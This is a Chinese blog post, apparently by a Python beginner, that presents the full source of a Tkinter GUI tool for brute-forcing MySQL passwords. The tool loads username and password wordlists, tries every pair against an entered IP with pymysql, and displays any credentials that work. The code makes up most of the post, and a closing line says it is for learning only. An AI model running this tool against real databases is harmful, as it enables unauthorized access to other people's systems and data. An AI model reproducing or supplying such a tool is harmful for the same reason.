python工具系列-弱口令工具

python弱口令扫描工具-初始版

本篇博客记录下基于python写的gui小工具,也是我学python以来自己动手写的第一款交互型的工具

Tkinter: Tkinter 模块(Tk 接口)是 Python 的标准 Tk GUI 工具包的接口 .Tk 和 Tkinter
可以在大多数的 Unix 平台下使用,同样可以应用在 Windows 和 Macintosh 系统里。Tk8.0
的后续版本可以实现本地窗口风格,并良好地运行在绝大多数平台中。

本次用到的主要是tkinter模块
引用如下

from tkinter import *
from tkinter.filedialog import *
from tkinter import simpledialog
import tkinter
import os,shutil
import  pymysql`

接下来定义各个功能函数如下
1.字典的导入和保存:打开文件对话框保存字典(.txt文件)
代码如下

filepath=tkinter.filedialog.askopenfilename()    # 打开文件对话框
    fname.set(filepath)
    file=shutil.copy(filepath,r'C:\test')  # 复制文件到指定路径

2.遍历字典
代码如下

username_list = 'C:/test/username.txt'
    password_list = 'C:/test/password.txt'
    splitChar = '\t'  # 设置过滤字符串
    splitChar1 = '\n'
    with open(username_list, 'r') as f:  # 获取字典中的数据,转换为list
        datalist = f.readlines()

    with open(password_list, 'r') as p:
        passwordlist = p.readlines()

3.mysql爆破模块,数据处理和爆破
引入pymysql,执行循环遍历字典,替换空格并执行爆破
代码如下:

    for username1 in datalist:
        username=username1.replace(splitChar,'').replace(splitChar1,'')   #数据处理,替换掉取出的\t和\n字符
        for passwd in passwordlist:
            password=passwd.replace(splitChar,'').replace(splitChar1,'')
            try:                                                           #开始爆破
                db=pymysql.connect(host,username,password)
                success=True
                if success:
                    print("用户名:" + username +" 密码:" + password + "破解成功")
                    p="破解完成!用户名:" + username +" 密码:" + password
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n")
            except:
                    print("用户名:" + username +" 密码:" + password + "破解失败")
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n")
                    pass
    outprint.insert(END,p)

4.定义布局,button按钮和输出区域
button如下:

button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45)  #创建按钮并绑定属性
button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45)
button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45)

5.IP我目前之写了一个手动输入的,逻辑上是实时取回用户输入的内容,并赋值为host
代码如下:

label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50)
e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50)       #定义输入IP并取回输入值

6.执行结果回显
利用outprint.insert(END,p)来回显,我也是第一次用。。。。
代码如下:

outprint=Text(root)
outprint.pack(side=BOTTOM,expand=YES) #定义打印区域

其余的就是基础代码,布局大小和方向,还有title,禁止拉伸什么的这些基本的代码
最终代码如下:

from tkinter import *
from tkinter.filedialog import *
from tkinter import simpledialog
import tkinter
import os,shutil
import  pymysql

root = Tk()
root.configure(bg='Aquamarine') # 创建一个Tkinter.Tk()实例
root.geometry("800x500")  # 设置主窗口大小
root.resizable(0, 0) #禁止拉伸
root.title("刺心 弱口令工具-MYSQL初始版 其余功能待开发")

def Putfile_username():  # 定义字典
    fname = tkinter.StringVar()
    if os.path.exists('C:/test/username.txt'):    # 判断指定路径是否存在文件,如果有,则删除
        os.remove('C:/test/username.txt')
    else:
        pass
    filepath=tkinter.filedialog.askopenfilename()    # 打开文件对话框
    fname.set(filepath)
    file=shutil.copy(filepath,r'C:\test')  # 复制文件到指定路径
    tip="用户名加载完毕!路径:"+file+"\n"
    os.rename(file,"C:/test/username.txt") # 重命名文件名
    outprint.insert(END,tip)
def Putfile_password():
    if os.path.exists('C:/test/password.txt'):
        os.remove('C:/test/password.txt')
    else:
        pass
    fpass = tkinter.StringVar()
    passpath = tkinter.filedialog.askopenfilename()
    fpass.set(passpath)
    passfile = shutil.copy(passpath, r'C:\test')
    tip = "密码加载完毕!路径:" + passfile + "\n"
    os.rename(passfile, "C:/test/password.txt")
    outprint.insert(END, tip)


#def input_ip():
    #r=simpledialog.askstring('', '请输入IP:', initialvalue='')
    #return r


def Msqlattrack():  # 定义爆破模块
    username_list = 'C:/test/username.txt'
    password_list = 'C:/test/password.txt'
    splitChar = '\t'  # 设置过滤字符串
    splitChar1 = '\n'
    with open(username_list, 'r') as f:  # 获取字典中的数据,转换为list
        datalist = f.readlines()

    with open(password_list, 'r') as p:
        passwordlist = p.readlines()

    host = ipVar.get()   # 取回输入的IP值
    for username1 in datalist:
        username=username1.replace(splitChar,'').replace(splitChar1,'')   #数据处理,替换掉取出的\t和\n字符
        for passwd in passwordlist:
            password=passwd.replace(splitChar,'').replace(splitChar1,'')
            try:                                                           #开始爆破
                db=pymysql.connect(host,username,password)
                success=True
                if success:
                    print("用户名:" + username +" 密码:" + password + "破解成功")
                    p="破解完成!用户名:" + username +" 密码:" + password
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n")
            except:
                    print("用户名:" + username +" 密码:" + password + "破解失败")
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n")
                    pass
    outprint.insert(END,p)
ipVar=tkinter.StringVar()
button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45)  #创建按钮并绑定属性
button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45)
button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45)
label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50)
e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50)       #定义输入IP并取回输入值
text_mysql=Label(root,text='MYSQL',font=('楷体',15),bg='Aquamarine').place(x=380,y=7)
outprint=Text(root)
outprint.pack(side=BOTTOM,expand=YES) #定义打印区域
root.mainloop()

编译成exe文件可以运行,也可以在终端里执行
代码还是有很大的瑕疵的。。。
附上我本地测试的截图
在这里插入图片描述注:此工具仅作为学习和交流使用

  • 2
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值